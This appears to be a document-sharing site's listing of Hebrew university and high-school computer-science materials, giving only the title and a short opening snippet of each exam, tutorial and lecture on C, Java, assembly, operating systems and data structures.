1 תכנות מונחה עצמים והנדסת תוכנה תשע"ו 2 בנאי העתקה בניית העתק של אובייקט קיים. בניית העתק בעת העברת אובייקט לפונקציה. בניית העתק בעת החזרת אובייקט מפונקציה. ניתן להגדיר בנאי העתקה. אם לא מגדירים, אז הקומפיילר
קרא עודDisclaimer מסמך זה הינו סיכום און-ליין של השיעור ולא עבר עריכה כלל. מצאת טעות? שלח/י לי מייל ואתקן: 07/05/2009 קורס: מערכות ה
הרעיון: דפדוף paging וזכרון וירטואלי.1.2.3 לחלק את מרחב הכתובות לדפים בגודל קבוע )למשל )4KB את הדפים ממפים לזכרון פיסי a. לא רציף b. לא כולם העברה מזכרון לדיסק לפי הצורך מספר הדף: page = addr 4K המיקום
קרא עודשאלהIgal : מערכים דו מימדיים רקורסיה:
אוניברסיטת בן גוריון בנגב מספר נבחן : תאריך המבחן: כ"ח תשרי תשע"ז 30.10.16 שמות המורים: ציון סיקסיק א' תכנות ב- C מבחן ב: 202-1-9011 מס' הקורס : הנדסה מיועד לתלמידי : ב' מועד סמ' קיץ שנה תשע"ו 3 שעות משך
קרא עודמבנה מחשבים ספרתיים
זיכרון מטמון מבנה מחשבים ספרתיים 234267 הבעיה מהירות הגישה לזיכרון איטית ביחס לביצועי המעבד )עד פי (, ככל שהזיכרון גדול יותר הגישה אליו איטית יותר. ביצועי המעבד נפגעים משמעותית אם בכל קריאה מהזיכרון יש
קרא עודMicrosoft Word - c_SimA_MoedB2005.doc
מרצה: שולי וינטנר. מתרגל: עזרא דאיה. מבוא למדעי המחשב בחינת מועד ב', סמסטר א' תשס"ה,.2.2005 משך המבחן: שעתיים וחצי. חומר עזר: מותר כל חומר עזר, מלבד מחשב. הנחיות:. ודאו כי בטופס שבידיכם עמודים. יש לכתוב
קרא עודשאלהIgal : מערכים דו מימדיים רקורסיה:
אוניברסיטת בן גוריון בנגב מספר נבחן : תאריך המבחן: כ"ג חשון תשע"ח 12/11/17 שמות המורים: ציון סיקסיק א' ב- C תכנות מבחן ב: 202-1-9011 מס' הקורס : הנדסה מיועד לתלמידי : ב' מועד קיץ סמ' שנה תשע"ז 3 שעות משך
קרא עודMicrosoft PowerPoint - rec1.ppt
תכנות מונחה עצמים בשפת ++C תר גול מ ספר 1 אוהד ב ר זילי אוניברסיטת תל א ביב חדש חדיש ומחודש תוספות של + +C לשפ ת C 1 #include Hello World using namespace std; int main() cout
קרא עודשאלהIgal : מערכים דו מימדיים רקורסיה:
אוניברסיטת בן גוריון בנגב מספר נבחן : תאריך המבחן: כ"ג מנ' אב תשע"ז 15.08.17 שמות המורים: ציון סיקסיק א' ב- C תכנות מבחן ב: 202-1-9011 מס' הקורס : הנדסה מיועד לתלמידי : ב' מועד סמ' ב' שנה תשע"ז 3 שעות
קרא עודמספר זהות: סמסטר ב' מועד א' תאריך: 11102/4// שעה: 9:22 משך הבחינה: 3 שעות חומר עזר: אין מותר השימוש במחשבון פשוט בחינה בקורס: מבני נתונים מרצה: הדר בי
מספר זהות: סמסטר ב' מועד א' תאריך: 11102/4// שעה: 9:22 משך הבחינה: 3 שעות חומר עזר: אין מותר השימוש במחשבון פשוט בחינה בקורס: מבני נתונים מרצה: הדר בינסקי הנחיות: יש לענות על כל השאלות. יש לענות על כל
קרא עודאוניברסיטת חיפה החוג למדעי המחשב מרצה: שולי וינטנר מתרגלים: נעמה טוויטו, מחמוד שריף מבוא למדעי המחשב סמסטר א' תשע"ב בחינת סיום, מועד א', הנחי
אוניברסיטת חיפה החוג למדעי המחשב מרצה: שולי וינטנר מתרגלים: נעמה טוויטו, מחמוד שריף מבוא למדעי המחשב סמסטר א' תשע"ב בחינת סיום, מועד א', 6.2.2012 הנחיות: 1. משך הבחינה: 120 דקות. 2. היציאה מהכיתה במהלך
קרא עודמבוא למדעי המחשב
מבוא למדעי המחשב מחרוזות, חתימה של פונקציה ומעטפות תוכן עניינים טיפוסים מורכבים טיפוסים מורכבים ערך שם טיפוס 12 m int undef. x boolean true y boolean arr int[] כאלה שעשויים להכיל יותר מערך פרימיטיבי אחד
קרא עודשבוע 4 סינטקס של HACK ASSEMBLY ניתן להשתמש בשלושה אוגרים בלבד:,A,D,M כולם בעלי 16 ביטים. M אינו אוגר ישיר- הוא מסמן את האוגר של ה RAM שאנחנו מצביעים ע
שבוע 4 סינטקס של HACK ASSEMBLY ניתן להשתמש בשלושה אוגרים בלבד:,A,D,M כולם בעלי 16 ביטים. M אינו אוגר ישיר- הוא מסמן את האוגר של ה RAM שאנחנו מצביעים עליו כרגע )A מצביע עליו(. יש שני סוגי פקודות, פקודת
קרא עודמבוא לאסמבלי
1 ברק גונן תוכנית שבנויה מחלקי קוד נפרדים המשולבים זה בזה מאפיינים: נקודת כניסה אחת נקודת יציאה אחת מבצעים פעולה מוגדרת נקראים פרוצדורות ברק גונן 2 קוד קצר יותר לא צריך לחזור על חלקי קוד שאלה למחשבה: האם
קרא עודמבחן סוף סמסטר מועד ב 28/10/08 מרצה אחראית: דר שירלי הלוי גינסברג מתרגלים: גלעד קותיאל, גדי אלכסנדרוביץ הוראות: א. בטופס המבחן 6 עמודים (כולל דף זה) ו
מבחן סוף סמסטר מועד ב 28/10/08 מרצה אחראית: דר שירלי הלוי גינסברג מתרגלים: גלעד קותיאל, גדי אלכסנדרוביץ הוראות: א. בטופס המבחן 6 עמודים (כולל דף זה) ו 4 דפי נוסחאות. בדקו שכל העמודים ברשותכם. ב. משך המבחן
קרא עודמהוא לתכנות ב- JAVA מעבדה 3
מבוא לתכנות ב- JAVA מעבדה 3 נושאי התרגול לולאות ניפוי שגיאות לולאות - הקדמה כיצד הייתם כותבים תוכנית שתדפיס את המספרים השלמים בין 1 ל- 100 בעזרת הכלים שלמדתם עד עתה? חייבת להיות דרך אחרת מאשר לכתוב 100
קרא עודאוניברסיטת חיפה החוג למדעי המחשב מבוא למדעי המחשב מועד א' סמסטר ב', תשע"ג, משך המבחן: שעתיים וחצי חומר עזר: אסור הנחיות: וודאו כי יש בידיכם
אוניברסיטת חיפה החוג למדעי המחשב מבוא למדעי המחשב מועד א' סמסטר ב', תשע"ג,.6.013 משך המבחן: שעתיים וחצי חומר עזר: אסור הנחיות: וודאו כי יש בידיכם 8 עמודי שאלון )כולל עמוד זה(. עליכם לכתוב את התשובות על
קרא עודאוניברסיטת בן גוריון בנגב תאריך המבחן: שקולניק אלכסנדר שם המרצה: מר בשפת JAVA מבוא לתכנות מבחן ב: מס' הקורס : הנדסת תעשיה וניהול מ
אוניברסיטת בן גוריון בנגב תאריך המבחן: 12.02.17 שקולניק אלכסנדר שם המרצה: מר בשפת JAVA מבוא לתכנות מבחן ב: 202.1.9031 מס' הקורס : הנדסת תעשיה וניהול מיועד לתלמידי : א' מועד א' סמ' שנה תשע"ד 3 שעות משך
קרא עודמספר מחברת: עמוד 1 מתוך 11 ת"ז: תשע"א מועד ב סמסטר א' תאריך: 00:11 שעה: 0 שעות הבחינה: משך כל חומר עזר אסור בשימוש בחינה בקורס: מבוא למדעי ה
עמוד 1 מתוך 11 תשע"א מועד ב סמסטר א' 14.2.2011 תאריך: 00:11 שעה: 0 שעות הבחינה: משך כל חומר עזר אסור בשימוש בחינה בקורס: מבוא למדעי המחשב יש לענות על כל 5 השאלות. בכל השאלות במבחן יש לכתוב פונקציות יעילות
קרא עודHomework Dry 3
Homework Dry 3 Due date: Sunday, 9/06/2013 12:30 noon Teaching assistant in charge: Anastasia Braginsky Important: this semester the Q&A for the exercise will take place at a public forum only. To register
קרא עודמבוא לתכנות ב- JAVA תרגול 7
מבוא לתכנות ב- JAVA תרגול 8 תזכורת - מבנה של פונקציה רקורסיבית.2 פונקציה רקורסיבית מורכבת משני חלקים עיקריים 1. תנאי עצירה: מקרה/מקרים פשוטים בהם התוצאה לא מצריכה קריאה רקורסיבית לחישוב צעד רקורסיבי: קריאה
קרא עודמערכות הפעלה
תקשורת ב- Linux ו- Unix מנגנון תקשורת ב- Linux סכמת שרת לקוח: client/server מודל השכבות רשת תקשורת: חיבורים המאפשרים תקשורת בין מחשבים פרוטוקולי תקשורת מאפשרים העברת נתונים ברשת פועלים בשכבות שונות, כשלכל
קרא עודPowerPoint Presentation
תכנות מתקדם בשפת Java אוניברסיטת תל אביב 1 תוכנה 1 תרגול 3: עבודה עם מחרוזות )Strings( מתודות )Methods( 1 תכנות מתקדם בשפת Java אוניברסיטת תל אביב 2 מחרוזות )STRINGS( 3 מחרוזות String s = Hello ; מחרוזות
קרא עודאוניברסיטת בן גוריון בנגב תאריך המבחן: שם המרצה: מר אלכסנדר שקולניק, בשפת JAVA מבחן ב: מבוא לתכנות מס' הקורס : מיועד לתלמידי : הנד
אוניברסיטת בן גוריון בנגב תאריך המבחן: 29.01.19 שם המרצה: מר אלכסנדר שקולניק, בשפת JAVA מבחן ב: מבוא לתכנות 202.1.9031 מס' הקורס : מיועד לתלמידי : הנדסת תעשיה וניהול שנה תשע"ט א' סמ' א' מועד 3 שעות משך
קרא עודאוניברסיטת חיפה החוג למדעי המחשב מרצה: שולי וינטנר מתרגלים: נעמה טוויטו, מחמוד שריף מבוא למדעי המחשב סמסטר א' תשע"ב בחינת סיום, מועד א', הנחי
אוניברסיטת חיפה החוג למדעי המחשב מרצה: שולי וינטנר מתרגלים: נעמה טוויטו, מחמוד שריף מבוא למדעי המחשב סמסטר א' תשע"ב בחינת סיום, מועד א', 6.2.2012 הנחיות: 1. משך הבחינה: 120 דקות. 2. היציאה מהכיתה במהלך
קרא עודתרגול מס' 4: המתרגם שימוש במחלקות קיימות מחרוזות, קבצים, וקבלת קלט מהמשתמש
תרגול מס' 4: המתרגם שימוש במחלקות קיימות מחרוזות, קבצים, וקבלת קלט מהמשתמש המתרגם משימה: תכנית המתרגמת קטעי טקסט לשפה אחרת הקלט: קובץ המכיל את קטעי הטקסט וכן את השפה אליה רוצים לתרגם 2 שאלות האם כבר יש
קרא עודSlide 1
מבוא לשפת C תירגול 10: מצביעים, מערכים ומחרוזות שבוע שעבר... מצביעים Call by reference 2 תוכנייה קשר מצביע-מערך )אריתמטיקה של מצביעים( העברת מערכים לפונקציה מחרוזות דוגמה 3 קשר מצביע-מערך 4 תזכורת: תמונת
קרא עודמבוא למדעי המחשב - חובלים
אוניברסיטת חיפה החוג למדעי המחשב מבוא למדעי המחשב סמסטר ב' תשע"ב בחינת סיום, מועד ב',.02..9.7 מרצה: אורן וימן מתרגלים: נעמה טוויטו ועדו ניסנבוים מדריכי מעבדה: מחמוד שריף ומיקה עמית משך המבחן: שעתיים חומר
קרא עודSlide 1
מבוא למחשב בשפת C : מערכים חד ודו-ממדיים מבוסס על השקפים שחוברו ע"י שי ארצי, גיתית רוקשטיין, איתן אביאור וסאהר אסמיר עבור הקורס "מבוא למדעי המחשב". עודכן ע"י דן רביב נכתב על-ידי טל כהן, נערך ע"י איתן אביאור.
קרא עודשעור 6
שעור 6 Open addressing אין רשימות מקושרות. (נניח שהאלמנטים מאוחסנים בטבלה עצמה, לחילופין קיים מצביע בהכנסה המתאימה לאלמנט אם אין שרשור). ב- addressing open הטבלה עלולה להימלא ב- factor α load תמיד. במקום
קרא עודמבוא למדעי המחשב
מבוא כללי לתכנות ולמדעי המחשב 1843-0310 מרצה: אמיר רובינשטיין מתרגל: דין שמואל אוניברסיטת תל אביב סמסטר חורף 2017-8 חלק ב - מבוא לקריפטוגרפיה שיעור 5 (offset מונחים בסיסיים צופן קיסר (היסט,.1.2 1 Today
קרא עודMicrosoft PowerPoint - rec3.ppt
תכנו ת מונח ה עצ מים משתני מחלקה, עצמים מוכלים ועצמים מוצבעים א וה ד ברז יל י א ונ יברס י ט ת תל אביב משתנ י מח ל קה Static Members משתני מחלקה members) (static משתנים סטטיים מוגדרי ם בתוך מח לקה ואולם
קרא עודMicrosoft PowerPoint - T-10.ppt [Compatibility Mode]
מבוא למחשב בשפת Matlab לולאות בלוקי try-catch :10 תרגול מבוסס על השקפים שחוברו ע"י שי ארצי, גיתית רוקשטיין, איתן אביאור, סאהר אסמיר וטל כהן עבור הקורס "מבוא למדעי המחשב" נכתב על-ידי רמי כהן,אולג רוכלנקו,
קרא עודמבוא למדעי המחשב
מבוא למדעי המחשב שימוש במחסנית - מחשבון תוכן עניינים prefix כתיבת ביטויים ב-,infix ו- postfix postfix prefix,infix ביטויים ב- כתיבת ו- infix נוסח כתיבה ב- (operator אנו רגילים לכתוב ביטויים חשבוניים כדוגמת
קרא עודתרגול מס' 1
תרגול 6 הסתעפויות 1 מבוסס על שקפים מאת יאן ציטרין קפיצות לא מותנות Unconditional Branch br label PC לאחר ה- fetch של פקודת ה- branch PC לאחר הביצוע של פקודת ה- branch pc label br label הקפיצה מתבצעת תמיד,
קרא עודמקביליות
PROMELA גרא וייס המחלקה למדעי המחשב אוניברסיטת בן-גוריון עדכון אחרון: 21:40 15/06/2013 2 שפת מ פ ר ט עם ס מ נ ט יק ה מוגדרת באופן מתמטי "שפת תכנות" למודלים המטרה: לאפשר גם לכאלה שאינם חוקרים בתחום לבנות
קרא עודPowerPoint Presentation
תוכנה 1 תרגול 1: סביבת העבודה ומבוא ל- Java 1 מנהלות אתר הקורס: http://courses.cs.tau.ac.il/software1/1516b/ מתרגלים: ברית יונגמן )שעת קבלה: שלישי ב- 8:00 בתיאום מראש( לנה דנקין )שעת קבלה: שלישי ב- 17:00,
קרא עודמבחן סוף סמסטר מועד א 15/02/08 מרצה אחראית: דר שירלי הלוי גינסברג מתרגלים: גלעד קותיאל, דניאל גנקין הוראות: א. בטופס המבחן 7 עמודים ו 4 דפי נוסחאות. ב
מבחן סוף סמסטר מועד א 15/02/08 מרצה אחראית: דר שירלי הלוי גינסברג מתרגלים: גלעד קותיאל, דניאל גנקין הוראות: א. בטופס המבחן 7 עמודים ו 4 דפי נוסחאות. בדקו שכל העמודים ברשותכם. ב. משך המבחן שלוש שעות (180
קרא עודמשימה תכנית המתרגמת קטעי טקסט לשפה אחרת הקלט: קובץ המכיל את קטעי הטקסט וכן את השפה אליה רוצים לתרגם תרגול מס' 4: המתרגם שימוש במחלקות קיימות תכנות מתק
משימה תכנית המתרגמת קטעי טקסט לשפה אחרת הקלט: קובץ המכיל את קטעי הטקסט וכן את השפה אליה רוצים לתרגם תרגול מס' 4: המתרגם שימוש במחלקות קיימות 2 הפשטה שאלות כצעד ראשון נפתור בעיה הרבה יותר פשוטה האם כבר
קרא עודהגשה תוך שבוע בשעת התרגול
מרצה: שולי וינטנר. מתרגל: עזרא דאיה. מבוא למדעי המחשב בחינת מועד א', סמסטר א' תשס"ה, 6..5 משך המבחן: שעתיים וחצי. חומר עזר: מותר כל חומר עזר, מלבד מחשב. הנחיות: ודאו כי בטופס שבידיכם 8 עמודים. יש לכתוב
קרא עודמבוא למדעי המחשב
מבוא כללי לתכנות ולמדעי המחשב 1843-0310 מרצה: אמיר רובינשטיין מתרגל: דין שמואל אוניברסיטת תל אביב סמסטר חורף 2017-8 חלק א - השיטה הבינארית שיעור 5 ו- 1? ספירה בבסיס 2 ואיך אומרים "hello" עם 0 1 ממעגלים
קרא עודתרגול 1
מבוא למדעי המחשב 2019 תרגול 5 מחרוזות, חתימות ורקורסיה מחרוזות רצף של תווים רקורסיה קריאה של מתודה לעצמה באופן ישיר או עקיף ראינו בהרצאה מחרוזות: תווים, חתימות: העמסה- String,הצהרה, overloading אתחול רקורסיה:
קרא עודSlide 1
1 אובייקטים היום בתרגול: 2.)objects מחלקות )classes( ואובייקטים )מופעים, )fields( שדות המחלקה שיטות הכמסה )methods של מחלקה. ( class מחלקה - עד עכשיו השתמשנו בעיקר בטיפוסים מובנים ופונקציות המבצעות חישובים
קרא עודPowerPoint Presentation
תוכנה 1 תרגול 1: סביבת העבודה ומבוא ל- Java אלכסיי זגלסקי ויעל אמסטרדמר 1 בירוקרטיה אלכסיי זגלסקי שעת קבלה: שני 13:00-14:00, בתיאום מראש משרד: בניין הנדסת תוכנה, חדר 209 יעל אמסטרדמר שעת קבלה: חמישי 15:00-16:00,
קרא עודמבחן 7002 פרטים כלליים מועד הבחינה: בכל זמן מספר השאלון: 1 משך הבחינה: 3 שעות חומר עזר בשימוש: הכל )ספרים ומחברות( המלצות: קרא המלצות לפני הבחינה ובדי
מבחן 7002 פרטים כלליים מועד הבחינה: בכל זמן מספר השאלון: 1 משך הבחינה: 3 שעות חומר עזר בשימוש: הכל )ספרים ומחברות( המלצות: קרא המלצות לפני הבחינה ובדיקות אחרונות לפני מסירה )עמודים 8-11( מבנה השאלון 5
קרא עודPowerPoint Presentation
מבוא למדעי המחשב תירגול 2: מבוא לתיכנות ב- C 1 תוכנייה משתנים קלט/פלט משפטי תנאי מבוא למדעי המחשב מ' - תירגול 3 2 משתנים 3 משתנים- תמונת הזיכרון הזיכרון כתובת התא #1000 10-4 לא מאותחל 67 לכל תא בזיכרון
קרא עודמבוא למדעי המחשב
מבוא למדעי המחשב תכנות מונחה אובייקטים תוכן עניינים טיפוסי נתונים מורכבים המחלקה String תזכורת לשימוש שעשינו במחלקה String str = new String( Hello ); s.o.p(str.tostring()); s.o.p(str.charat(4)); s.o.p(str.equals(
קרא עודתוכן העניינים
הוצאת חושבים קדימה הילה קדמן חלק ב יעוץ מקצועי: חיים אברבוך מותאם לתכנית הלימודים החדשה בבתי הספר התיכוניים מהדורה חמישית הוצאת חושבים קדימה ת.ד. 1293 רעות 71908 www.kadman.net הילה קדמן 0522 525527 kadman11@gmail.com
קרא עודהטכניון מכון טכנולוגי לישראל הפקולטה למדעי המחשב הוראות הגשה: ההגשה בזוגות. הוסיפו שמות, ת.ז., אי-מייל, תא אליו יש להחזיר את התרגיל ואת תשובותיכם לתרג
הטכניון מכון טכנולוגי לישראל הפקולטה למדעי המחשב הוראות הגשה: ההגשה בזוגות. הוסיפו שמות, ת.ז., אי-מייל, תא אליו יש להחזיר את התרגיל ואת תשובותיכם לתרגיל, הדפיסו והגישו לתא הקורס בקומה. מבנה מחשבים ספרתיים
קרא עודComp. Arch. Lecture 1
א ר כי טקטור ת מ ח ש בים ד"ר טל שיקלר סו ב ול אימייל: stal@bgu.ac.il Mother board לוח אם CPU central processing unit מעבד דוגמאות: 80x86 ו תואמיו Intel 80x86 Intel Core 2 Duo 64 bits 80x86 compatible AMD
קרא עודאוניברסיטת חיפה החוג למדעי המחשב.5.6 מבוא למדעי המחשב סמסטר א' תשע"ז בחינה סופית מועד א', מרצה: שולי וינטנר מתרגלים: סמאח אידריס, ראמי עילבו
אוניברסיטת חיפה החוג למדעי המחשב.5.6 מבוא למדעי המחשב סמסטר א' תשע"ז בחינה סופית מועד א', 31.1.2017 מרצה: שולי וינטנר מתרגלים: סמאח אידריס, ראמי עילבוני, דולב שרון הנחיות: 1. משך הבחינה: 120 דקות. 2. היציאה
קרא עודIntel Paging & Page Table Exploitation on Windows מאת יובל עטיה הקדמה בשנת 1985, המעבד i386 של Intel יצא לעולם, והיה המעבד הראשון של Intel שתמך בפקודו
מאת יובל עטיה הקדמה בשנת 1985, המעבד i386 של Intel יצא לעולם, והיה המעבד הראשון של Intel שתמך בפקודות ובמרחב זיכרון של 32 -ביט. כמו כן, הוא גם היה המעבד הראשון של Intel שהכיל יחידה לניהול זיכרון ( - MMU
קרא עודמבוא לתכנות ב- JAVA תרגול 11
מבוא לתכנות ב- JAVA תרגול 11 רשימה מקושרת אוסף סדור של איברים מאותו טיפוס. קודקוד ברשימה )Node( מכיל את המידע + הצבעה לקודקוד הבא ברשימה data next first רשימה :)List( מיוצגת ע"י מצביע לאיבר הראשון ברשימה
קרא עודSlide 1
Introduction to Programming in C תרגול 8 1 1 רקורסיה תזכורת הגדרה: המונח רקורסיה (recursion) מתאר מצב שבו פונקציה קוראת לעצמה באופן ישיר או באופן עקיף. שימוש: נוח להשתמש בפונקציות רקורסיביות על מנת לפתור
קרא עודSlide 1
Introduction to Programming in C תרגול 7 1 1 נושאים מצביעים רקע אופרטורים על מצביעים מצביעים כפרמטרים לפונקציה הקצאת זיכרון דינאמית Malloc free תאור הזיכרון של המחשב: מצביעים ניתן לחשוב על זיכרון המחשב
קרא עודTutorial 11
מבוא לשפת C תרגול 8: מערכים רב-ממדיים תרגילים בנושא מערכים ורקורסיה מבוסס על השקפים שחוברו ע"י שי ארצי, גיתית רוקנשטיין, איתן אביאור וסאהר אסמיר עבור הקורס "מבוא למדעי המחשב" נכתב ע"י טל כהן, עודכן ע"י
קרא עודSlide 1
מבוא לשפת C תירגול 3: טיפוסים והמרות 1 מה היה שבוע שעבר? משתנים קלט/פלט scanf( ו- printf ( Redirection The Input Buffer 2 תוכנייה טיפוסי משתנים קלט/פלט מעוצב המרה בין טיפוסים קבועים 3 חישוב ממוצע בין שני
קרא עודמבוא למדעי המחשב
מבוא למדעי המחשב המחלקה Object תוכן עניינים Object הורשה והמחלקה ערך שם טיפוס DynamicIntArray da data size incrementsize DynamicArray תזכורת - Object[] data; int size; int incrementsize; DynamicArray זה
קרא עודHTML - Hipper Text Makeup Language
תכנות בסביבת האינטרנט 1 תיבת טקסט טופס הטופס הוא הדרך של בעלי האתר לקבל משוב מהגולשים, מאפשר לגולש להתחבר לאתר כחבר, מאפשר לבצע רכישות באתרי קניות וכד'. כשהגולש ממלא את הטופס, מועבר תוכן הטופס לדף מיוחד
קרא עודSlide 1
Introduction to Programming in C תרגול 7 1 1 רקורסיה הגדרה: המונח רקורסיה (recursion) מתאר מצב שבו פונקציה קוראת לעצמה באופן ישיר או באופן עקיף. שימוש: נוח להשתמש בפונקציות רקורסיביות על מנת לפתור בעיות
קרא עודבס"ד תרגיל 3 מועד אחרון ל כללי בתרגיל זה עליכם לכתוב תוכנה שמדמה מאגר נתונים של חנות. את מוצרי החנות תייצגו באמצעות עצים ורשימות מקושרות יהיה עליכם לנ
בס"ד תרגיל 3 מועד אחרון ל כללי בתרגיל זה עליכם לכתוב תוכנה שמדמה מאגר נתונים של חנות. את מוצרי החנות תייצגו באמצעות עצים ורשימות מקושרות יהיה עליכם לנהל את מאגר הנתונים של החנות, לבצע אליו שינוים ושאילתות
קרא עודתרגיל בית מספר 1#
ב 4 תרגיל בית מספר - 1 להגשה עד 72 באוקטובר בשעה ::725 קיראו בעיון את הנחיות העבודה וההגשה המופיעות באתר הקורס, תחת התיקייה.assignments חריגה מההנחיות תגרור ירידת ציון / פסילת התרגיל. הנחיות והערות ספציפיות
קרא עודבחן במערכות הפעלה
אוניברסיטת בן-גוריון בנגב, המחלקה למדעי המחשב בוחן אמצע במערכות הפעלה מרצים: איתי דינור, דני הנדלר ורוברט יעקבשוילי. מתרגלים: אור דינרי, אחמד דרובי, מתן דרורי, צחי ספורטה, רועי עוזיאל ואריאל תלמי. ענו
קרא עודתורת החישוביות תרגול הכנה לוגיקה ותורת הקבוצות מה יש כאן? בקורס תורת החישוביות נניח ידע בסיסי בתורת הקבוצות ובלוגיקה, והכרות עם מושגים בסיסיים כמו א"ב
תורת החישוביות תרגול הכנה לוגיקה ותורת הקבוצות מה יש כאן? בקורס תורת החישוביות נניח ידע בסיסי בתורת הקבוצות ובלוגיקה, והכרות עם מושגים בסיסיים כמו א"ב, מילה ושפה לטובת מי ששכח חומר זה, או שלא למדו מעולם,
קרא עודSlide 1
מבוא לתכנות ב- JAVA תרגול 5 מה בתרגול מחרוזות מערכים דו ממדיים מחרוזות (Strings) מחרוזת היא רצף של תווים. immutable על מנת ליצור ולטפל במחרוזות נשתמש במחלקה String למחלקה String מתודות שונות שמאפשרות פעולות
קרא עודמבנה מחשבים ספרתיים
זיכרון מטמון 2 מבנה מחשבים ספרתיים 234267 1 כיצד נבחר את גודל המטמון? מצד אחד, נרצה מטמון גדול כמה שיותר כדי לקבל שיפור ב-.hit rate מצד שני, כאשר המטמון גדול מדי, הוא צורך אנרגיה רבה וזמן הגישה עלול להיות
קרא עודPowerPoint Presentation
מצביעים הקצאת זיכרון דינאמית מבנים - Structures טיפוסי נתונים - types Data העברת פרמטרים ל- main טענות נכונות שימוש בסיסי אריתמטיקת מצביעים void* מצביע למצביע 2 כתובת ערך הבית int התופס 4 בתים 7 0 0 0
קרא עוד2013/14 אוניברסיטת חיפה מבוא למדעי מחשב, מעבדה מטרת המעבדה: לתרגל את המעבר מאלגוריתם לקוד C כמה שיותר. הוראות:.1.2 ניתן לעבוד ביחידים או בזוגות. (יש מ
מטרת המעבדה: לתרגל את המעבר מאלגוריתם לקוד C כמה שיותר. הוראות:.1.2 ניתן לעבוד ביחידים או בזוגות. (יש מספיק עמדות לכולם ולכן מומלץ לעבוד ביחידים). במהלך המעבדה יהיה עליכם לבצע משימות. אם תצטרכו עזרה בשלב
קרא עודשקופית 1
Computer Programming Summer 2017 תרגול 5 מערכים חד-מימדיים )תזכורת( לדוגמא: מערך בשם Arr בגודל 8 שאיבריו מטיפוס int 3 7 5 6 8 1 23 16 0 1 2 3 4 5 6 7 ב - arr[0] ב יושב ערך שהוא המספר השלם 3 arr[1] - יושב
קרא עודPowerPoint Presentation
פרוטאוס הדרכה לפיתוח פרויקט מבוסס ארדואינו 1 הוראות הפעלה תוכנת פרוטאוס מכילה כמות גדולה מאוד של כלי עזר להבנת דרך ההפעלה של התוכנה. שני מקורות מידע עיקריים עומדים לרשות המשתמש מחוץ לתוכנה: o באתר האינטרנט
קרא עודPython 2.7 in Hebrew
Python גרסה 7.2 זהר זילברמן גרסה 1.71 אין לשכפל, להעתיק, לצלם, להקליט, לתרגם, לאחסן במאגר מידע, לשדר או לקלוט בכל דרך או אמצעי אלקטרוני, אופטי או מכני או אחר כל חלק שהוא מהחומר שבספר זה. שימוש מסחרי מכל
קרא עודProgramming
קורס תכנות שיעור עשירי: מיונים, חיפושים, קצת ניתוח זמני ריצה, קצת תיקון טעויות ועוד על רשימות 1 רשימה מקושרת רשימה היא אוסף סדור של פעולות רשימה לעומת מערך ערכים 3 5 7 9 typedef struct node { int data;
קרא עודתוכן העניינים
הוצאת חושבים קדימה הילה קדמן # חלק ב יעוץ מקצועי: חיים אברבוך מותאם לתכנית הלימודים החדשה בבתי הספר התיכוניים מהדורה חמישית הוצאת חושבים קדימה ת.ד. 1293 רעות 71908 www.kadman.net הילה קדמן 0522 525527
קרא עודOverview of new Office 365 plans for SMBs
מעבר בין חבילות Online מעבר בין חבילות ב- Open Online to Open Current Plan Upgrade Options Current Plan Upgrade Options Business Essentials Business Premium Enterprise E1 Enterprise E3/E4 Enterprise E1
קרא עודMicrosoft Word - 01 difernziali razionalit
פונקציות רציונליות 5 יחידות מתוך הספר 806 כרך ד' 0, כל הזכויות שמורות ל ואריק דז'לדטי חל איסור מוחלט לתרגם, להעתיק או לשכפל חוברת זו או קטעים ממנה, בשום צורה ובשום אמצעי אלקטרוני, אופטי או מכני (לרבות
קרא עוד234114
)234117 )234114 \ סמסטר חורף תשע"ז 2017 מבחן מסכם מועד א', 21 לפברואר 2 3 4 1 1 מספר סטודנט: רשום/ה לקורס: משך המבחן: 3 שעות. חומר עזר: אין להשתמש בכל חומר עזר. הנחיות כלליות: מלאו את הפרטים בראש דף זה
קרא עוד2019 שאלות מומלצות לתרגול מס' דיפרנציאביליות של פונקציה סקלרית )המשך(. כלל השרשרת. S = ( x, y, z) z = x + 3y על המשטח מצאו נקודה בה מישור משיק
דיפרנציאביליות של פונקציה סקלרית )המשך( כלל השרשרת S ( z) z + על המשטח מצאו נקודה בה מישור משיק מקביל : f ( ) + הפונקציה מוגדרת וגזירה ברציפות בכל M( ) שאלה נתון פרבולואיד אליפטי P ( z) + 6 + z + 8 למישור
קרא עודMicrosoft Word - Sol_Moedb10-1-2,4
הפקולטה למתמטיקה - הטכניון חיפה מד''ח - 48 חורף תשע''א - בחינה סופית מועד ב' שאלה : תהי נתונה המד"ח הבאה: u + uu = y א. מצא את העקומים האופייניים של משוואה זו בצורה פרמטרית. ב. פתור את המד"ח הנתונה לעיל
קרא עודתאריך פרסום: תאריך הגשה: מבנה נתונים תרגיל 5 )תיאורטי( מרצה ומתרגל אחראים: צחי רוזן, דינה סבטליצקי נהלי הגשת עבודה: -את העבודה יש לה
תאריך פרסום: 01.01.15 תאריך הגשה: 15.01.15 מבנה נתונים תרגיל 5 )תיאורטי( מרצה ומתרגל אחראים: צחי רוזן, דינה סבטליצקי נהלי הגשת עבודה: -את העבודה יש להגיש בזוגות. -העבודה חייבת להיות מוקלדת. -הקובץ חייב
קרא עודSlide 1
מבוא למחשב בשפת C צעדים הרצאה 2: ראשונים בשפת C מבוסס על השקפים שחוברו ע"י שי ארצי, גיתית רוקשטיין, איתן אביאור וסאהר אסמיר עבור הקורס "מבוא למדעי המחשב". עודכן ע"י דן רביב נכתב על-ידי טל כהן, נערך ע"י
קרא עודMicrosoft PowerPoint - lec10.ppt
תכנו ת מ ונחה ע צמ י ם בשפת ++C אוהד ברזילי אוניברסיטת תל אביב ירו ש ה מרו בה המצגת מכילה קטעים מתוך מצגת של פרופ' עמירם יהודאי ע"פ הספר: Object-Oriented Software Construction, 2nd edition, by Bertrand
קרא עודמצגת של PowerPoint
מבוא כללי לתכנות ולמדעי המחשב תרגול מס' 1 דין שמואל dshmuel110@gmail.com 1 1. מנהלות מרצה: אמיר רובינשטיין, amirr@tau.ac.il שעות קבלה: לשאלות קצרות - מייד לאחר השיעור. ניתן לתאם במייל שעות אחרות. מתרגל:
קרא עודפתרון מבחן במיקרו בקרים תשעו
פתרון מבחן במיקרו בקרים תשעו תשובה 5 א. Mov 4h,a העבר את הנתון שבאקומולטור אל כתובת 4h ב RAM הנתונים הפנימי. Mov 41h,#1h העבר מידית לכתובת 41h ב RAM הנתונים הפנימי את הנתון 1 הקסה )1 בינארי(. Cjne a,4h,note
קרא עודMicrosoft Word - Ass1Bgu2019b_java docx
